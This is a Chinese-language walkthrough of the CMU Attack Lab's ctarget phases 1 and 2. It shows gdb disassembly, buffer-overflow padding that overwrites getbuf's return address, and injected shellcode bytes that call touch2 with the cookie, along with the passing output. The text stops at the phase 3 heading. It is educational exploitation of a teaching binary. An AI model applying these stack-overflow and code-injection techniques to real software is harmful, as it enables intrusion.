前置知识
汇编,过程调用,栈帧等。
phase_1
在第一问中,无需注入新的代码,我们只用直接调用已经存在的函数touch1()即可。如果看懂了Machine-Level Programming V: Advanced Topics 这将会非常容易实现,我们只需要几个简单的步骤即可。
首先,我们需要知道getbuf函数栈帧的位置。
1 2 3 4 5 6 7 Dump of assembler code for function getbuf: 0x00000000004017a8 <+0>: sub $0x28,%rsp 0x00000000004017ac <+4>: mov %rsp,%rdi 0x00000000004017af <+7>: call 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov $0x1,%eax 0x00000000004017b9 <+17>: add $0x28,%rsp 0x00000000004017bd <+21>: ret
申请了40个字节的栈空间,所以我们要利用缓冲区溢出,填充40字节的栈空间后再填入touch1()的函数地址。
1 2 3 (gdb) x touch1 0x4017c0 <touch1>: 0x08ec8348(gdb) x touch1 0x4017c0 <touch1>: 0x08ec8348
因为是在64位的机器上,所以地址的大小也是8字节,算上填充栈帧的字节,总共48字节。
1 2 3 4 5 6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
需要注意,我们先输入的在地址位,后输入的在高地址位,且x86-64通常为小段字节序。
利用hex2raw工具,转换成字符,然后输入到ctarget中就可以通过了。
1 2 3 4 5 6 7 8 9 10 gemini@gemini:~/code/target1$ ./ctarget -q -i attack1.txt Cookie: 0x59b997fa Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
phase_2
这个部分的难度略有提升,需要我们调用touch2()的同时,传入参数val,且与给定的cookie相等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void touch2 (unsigned val) { int vlevel = 2 ; if (val == cookie) { printf ("Touch2!: You called touch2(0x%.8x)\n" , val); validate(2 ); } else { printf ("Misfire: You called touch2(0x%.8x)\n" , val); fail(2 ); } exit (0 ); }
我们需要知道函数传参时,使用了哪些寄存器:%rdi, %rsi, %rdx, %rcx, %r8, %r9。
所以,我们的思路一下就清晰了,首先将%rdi赋值成cookie,然后调用touch2()。
首先,我们需要将赋值代码注入到栈中。
然后,调用touch2()函数
最后,我们需要将栈帧上的返回地址变成我们插入的这段代码在栈上的地址,才能将%rip移动到栈上,然后执行我们注入的代码。
使用gdb调试可以查看寄存器值。具体过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 gemini@gemini:~/code/target1$ gdb ./ctarget (gdb) set args -q -i attack1.txt (gdb) b getbuf (gdb) run (gdb) ni 14 in buf.c (gdb) ni 0x00000000004017af 14 in buf.c (gdb) disassemble getbuf Dump of assembler code for function getbuf: 0x00000000004017a8 <+0>: sub $0x28 ,%rsp 0x00000000004017ac <+4>: mov %rsp,%rdi => 0x00000000004017af <+7>: call 0x401a40 <Gets> 0x00000000004017b4 <+12>: mov $0x1 ,%eax 0x00000000004017b9 <+17>: add $0x28 ,%rsp 0x00000000004017bd <+21>: ret (gdb) p/x $rsp $1 = 0x5561dc78
拿到栈指针的值后,一切就变得很容易了。
在生产注入代码前,我们需要得到这段汇编代码的二进制码。
1 2 3 mov 0x59b997fa %rdi pushq $0x4017ec retq
使用objdump工具即可完成。
1 2 3 4 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 push $0x4017ec c: c3 ret
最后,我们所输入的内容为
1 2 3 4 5 6 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
提交,成功通过level 2!
1 2 3 4 5 6 7 8 9 gemini@gemini:~/code/target1$ ./ctarget -q -i attack2.txt Cookie: 0x59b997fa Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
phase_3